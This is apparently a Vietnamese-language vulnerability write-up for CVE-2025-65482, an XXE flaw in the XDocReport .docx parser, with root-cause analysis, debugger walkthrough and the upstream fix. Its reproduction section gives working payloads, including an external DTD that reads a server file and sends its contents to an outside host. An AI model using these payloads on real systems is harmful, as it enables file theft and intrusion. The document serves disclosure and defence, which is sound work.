# CVE-2025-65482 (XXE) # XML External Entity Injection (XXE) in XDocReport ## Bug Definition XML External Entity Injection Tổng quan về lỗ hổng - XML External Entity Injection (XXE) là một lỗ hổng trong việc xử lý dữ liệu định dạng XML, người dùng tiến hành chèn dữ liệu XML có tham chiếu đến một tập tin hoặc hệ thống bên ngoài. Kẻ tấn công có thể sử dụng lỗ hổng XXE được xác định này để quét các hệ thống khác nhằm tìm các cổng dịch vụ đang mở, yêu cầu các tệp bí mật và truy cập chức năng của các hệ thống được kết nối mà nếu không sẽ không có sẵn. Từ đây, kẻ tấn công có thể trích xuất dữ liệu, tương tác với các hệ thống và gây ra gián đoạn dịch vụ thông qua việc chèn XML. Ảnh hưởng kinh doanh - XXE có thể dẫn đến thiệt hại về uy tín cho doanh nghiệp do người dùng mất niềm tin và sự tin tưởng. Nó cũng có thể dẫn đến hành vi trộm cắp dữ liệu và tổn thất tài chính gián tiếp cho doanh nghiệp thông qua chi phí thông báo, khắc phục và dữ liệu PII bị vi phạm. ## Severity HIGH ![image](https://hackmd.io/_uploads/rks5pUXJZx.png) ## Description and Impact Trang web quản lý nhân sự cho phép người dùng upload tệp tài liệu ``.docx`` lên hệ thống. Trong quá trình xử lý, ứng dụng sử dụng thư viện `fr.opensagres.xdocreport.document.docx` có chứa lỗ hổng XXE khi cho file `.docx` của người dùng qua `SAXParser` ## Affected component fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3) ## Root cause analysis nguyên nhân có dùng apache poi ``` fr.opensagres.xdocreport.document.docx └── fr.opensagres.xdocreport.document └── fr.opensagres.xdocreport.template └── fr.opensagres.xdocreport.converter └── org.apache.poi.xwpf.converter.core ├── org.apache.poi:poi └── org.apache.poi:poi-ooxml ``` Tức là Apache POI nằm rất sâu, trong module: ``` org.apache.poi.xwpf.converter.core ``` ![image](https://hackmd.io/_uploads/HkvQKI7y-e.png) Lỗi xảy ra vì XDocReport (trong module fr.opensagres.xdocreport.document.docx) sử dụng Apache POI để đọc các file .docx, mà POI lại dùng SAXParser mặc định của Java mà không tắt các tính năng cho phép xử lý DTD và External Entities. → Điều này cho phép attacker chèn DOCTYPE có entity trỏ ra ngoài (SYSTEM "http://...") hoặc tới file nội bộ (file:///...) → sinh ra XXE. ![image](https://hackmd.io/_uploads/B1vAFI7y-x.png) ``` XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser) ``` ## Step to reproduce - Giải nén file docx bất kỳ ``` unzip ../vcspentest.docx ``` ![image](https://hackmd.io/_uploads/rkDTAlQJbe.png) - Chỉnh sửa nội dung file document.xml trong docx ``` nano word/document.xml ``` ![image](https://hackmd.io/_uploads/H1_AAe71Wx.png) chỉnh sửa với payload outband cho qua collabrator như sau : ```xml <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]> <x>&xxe;</x> ``` ![image](https://hackmd.io/_uploads/r1341WXJbg.png) - nén lại thành file poc ``` zip -r ../poc.docx * ``` ![image](https://hackmd.io/_uploads/HkGM1-XJZe.png) ![image](https://hackmd.io/_uploads/Hypa1W7JWl.png) - tải file docx đã chỉnh sửa lên cho qua xử lý của xdocreport ![image](https://hackmd.io/_uploads/S17s0gQyWe.png) - Kết quả thấy có request gửi về collabrator ![image](https://hackmd.io/_uploads/HkgzxbQ1We.png) - Nâng impact lên đọc file trong hệ thống - host máy lưu trữ file dtd tại máy wsl `172.26.208.130`. với nội dung file vcspentest.dtd như sau: ```xml <!ENTITY % file SYSTEM "file:///d:/vcspentest.txt"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>"> %eval; %exfil; ``` ![image](https://hackmd.io/_uploads/BJ5lOH4ybl.png) ![image](https://hackmd.io/_uploads/By5rOrE1bg.png) chỉnh sửa file `word/document.xml` trong file `.docx` với nội dung như sau để load external dtd từ máy wsl: ```xml <!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]> ``` ![image](https://hackmd.io/_uploads/HyW3uHV1bl.png) - zip file thành ``.docx`` và upload file lên cho server xử lý ![image](https://hackmd.io/_uploads/SyQJKHVJbg.png) ![image](https://hackmd.io/_uploads/Bk-QtHVk-e.png) - tại máy wsl thấy có request gửi về với nội dung của file `D:/vcspentest.txt` trên server mục tiêu ![image](https://hackmd.io/_uploads/BycBFHVyZx.png) ![image](https://hackmd.io/_uploads/r1l2KH4kbg.png) ## Solution - https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b ![image](https://hackmd.io/_uploads/BJQ66rXJbx.png) Trong đoạn mã hoặc ở tầng cấu hình XML parser, cần tắt toàn bộ các tính năng liên quan đến DTD và entity bên ngoài. fix tương tự như code này ```java @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST) public String SAXParserVuln(HttpServletRequest request) { try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser parser = spf.newSAXParser(); parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml return "SAXParser xxe vuln code"; } catch (Exception e) { logger.error(e.toString()); return EXCEPT; } } @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST) public String SAXParserSec(HttpServletRequest request) { try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); SAXParser parser = spf.newSAXParser(); parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml } catch (Exception e) { logger.error(e.toString()); return EXCEPT; } return "SAXParser xxe security code"; } ``` ## Thiết lập môi trường debug ![image](https://hackmd.io/_uploads/HkUB2FG0xe.png) - tại file Main.java ```java package org.example; import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind; import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; public class Main { public static void main(String[] args) { try { // Đọc file đầu vào chứa biểu thức Velocity File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào InputStream input = new FileInputStream(docxTemplate); // Load template sử dụng Velocity // IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity); // Load template sử dụng FreeMarker IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập IContext context = report.createContext(); // Xuất ra file mới OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx")); report.process(context, out); System.out.println("✅ Đã tạo file result.docx thành công."); } catch (Exception e) { System.err.println("❌ Lỗi xử lý file:"); e.printStackTrace(); } } } ``` - Thư viện cần import ```xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>vcs1</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>18</maven.compiler.source> <maven.compiler.target>18</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <!-- Template engine: FreeMarker --> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId> <version>2.1.0</version> </dependency> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId> <version>2.1.0</version> </dependency> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.document.docx</artifactId> <version>2.0.3</version> </dependency> </dependencies> </project> ``` ## Debug phân tích source sink - đầu vào từ nội dung XML trong .docx được qua preprocess xử lý ![image](https://hackmd.io/_uploads/H1IY7MQk-g.png) - sau đó nó được được vào xử lý bởi `SAXParser` mà không được validate đầu vào ![image](https://hackmd.io/_uploads/S15jQGX1Zg.png) ![image](https://hackmd.io/_uploads/H1QRXz7kWl.png) ![image](https://hackmd.io/_uploads/rJA14zQyWe.png) ![image](https://hackmd.io/_uploads/ByneVMQ1bx.png) - sau đó nó vào hàm `scanDocument()` và thực hiện quét (scan) nội dung XML và phát ra các "event" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, v.v.) ![image](https://hackmd.io/_uploads/rJzEEGXkWx.png) ![image](https://hackmd.io/_uploads/Bk4M4MQybx.png) ![image](https://hackmd.io/_uploads/SJTBNz7yZe.png) ![image](https://hackmd.io/_uploads/rkq0EMmyZg.png) - Kiểm tra tên entity (name = "xxe") có phải external entity không - Nếu entity đã khai báo và là external, parser sẽ gọi logic resolve external (ví dụ startExternalEntity(...) / fEntityManager.startEntity(...)) — đây là sink: tại đây parser sẽ lấy systemId/publicId và cố gắng mở stream (có thể sinh HTTP request ra ngoài). ![image](https://hackmd.io/_uploads/SJU8BMX1bl.png) ![image](https://hackmd.io/_uploads/rJmdHzXybl.png) ![image](https://hackmd.io/_uploads/ry1KrfQJ-e.png) - `xxe` là external entity thì startEntity(...) sẽ dẫn tới logic mở resource (ví dụ startExternalEntity(...) / mở InputStream → khả năng sinh HTTP request tới SYSTEM URL). ![image](https://hackmd.io/_uploads/BkD6Sz71Ze.png) ![image](https://hackmd.io/_uploads/ry-RBGQybx.png) ![image](https://hackmd.io/_uploads/ByNk8MXkWg.png) - Đây là điểm parser bắt đầu xử lý entity "xxe". ![image](https://hackmd.io/_uploads/S1-zLGX1Zl.png) ![image](https://hackmd.io/_uploads/SJWQ8MXkZx.png) ![image](https://hackmd.io/_uploads/B12SIM7yWx.png) ![image](https://hackmd.io/_uploads/rJsU8fmJ-l.png) ![image](https://hackmd.io/_uploads/BycPIGXkbg.png) ![image](https://hackmd.io/_uploads/H1J5If7JWl.png) ```java // should we skip external entities? boolean external = entity.isExternal(); Entity.ExternalEntity externalEntity = null; String extLitSysId = null, extBaseSysId = null, expandedSystemId = null; if (external) { externalEntity = (Entity.ExternalEntity)entity; extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null); extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null); expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI); boolean unparsed = entity.isUnparsed(); boolean parameter = entityName.startsWith("%"); boolean general = !parameter; if (unparsed || (general && !fExternalGeneralEntities) || (parameter && !fExternalParameterEntities) || !fSupportDTD || !fSupportExternalEntities) { if (fEntityHandler != null) { fResourceIdentifier.clear(); final String encoding = null; fResourceIdentifier.setValues( (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null), extLitSysId, extBaseSysId, expandedSystemId); fEntityAugs.removeAllItems(); fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE); fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs); fEntityAugs.removeAllItems(); fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE); fEntityHandler.endEntity(entityName, fEntityAugs); } return; } } ``` ![image](https://hackmd.io/_uploads/ryop8zm1Ze.png) - hàm startEntity() kiểm tra nếu entity là external entity (isExternal = true), sau đó gọi: ```java staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation); ``` Biến externalEntity.entityLocation chứa URL độc hại từ ``DOCTYPE (SYSTEM "http://...oastify.com/").`` ![image](https://hackmd.io/_uploads/Syklwz7kWl.png) - `resolveEntityAsPerStax`, biến resourceIdentifier chứa đường dẫn tuyệt đối: `http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/ ` - hàm này sau đó chuyển resourceIdentifier sang đối tượng XMLResourceIdentifierImpl và tiếp tục mở kết nối thực tế để đọc nội dung. ![image](https://hackmd.io/_uploads/H12fwzXJ-g.png) ![image](https://hackmd.io/_uploads/Byh5PGQJZe.png) ## Tài liệu - https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link